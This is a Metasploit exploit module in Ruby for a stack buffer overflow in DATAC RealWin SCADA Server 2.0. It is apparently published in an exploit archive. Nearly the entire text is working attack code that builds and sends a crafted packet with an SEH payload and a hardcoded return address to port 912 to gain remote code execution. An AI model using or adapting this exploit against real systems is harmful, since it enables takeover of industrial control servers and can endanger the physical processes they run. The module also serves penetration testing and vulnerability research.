DATAC RealWin SCADA Server SCPC_SCPC_INITIALIZE Buffer Overflow

`##  
# $Id: realwin_scpc_initialize.rb 10734 2010-10-18 21:20:02Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DATAC RealWin SCADA Server SCPC_SCPC_INITIALIZE Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in DATAC Control  
International RealWin SCADA Server 2.0 (Build 6.1.8.10).  
By sending a specially crafted packet, an attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'Luigi Auriemma', 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10734 $',  
'References' =>  
[  
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 550,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 15 2010'))  
  
register_options([Opt::RPORT(912)], self.class)  
end  
  
def exploit  
  
connect  
  
data = [0x6a541264].pack('V')  
data << [0x00000002].pack('V')  
data << [0x00001ff4].pack('V')  
data << "\xff\x7f"  
data << rand_text_alpha_upper(226)  
data << generate_seh_payload(target.ret)  
data << rand_text_alpha_upper(10024 - payload.encoded.length)  
data << "\x00"   
  
print_status("Trying target #{target.name}...")  
sock.put(data)  
  
handler  
disconnect  
  
end  
  
end  
`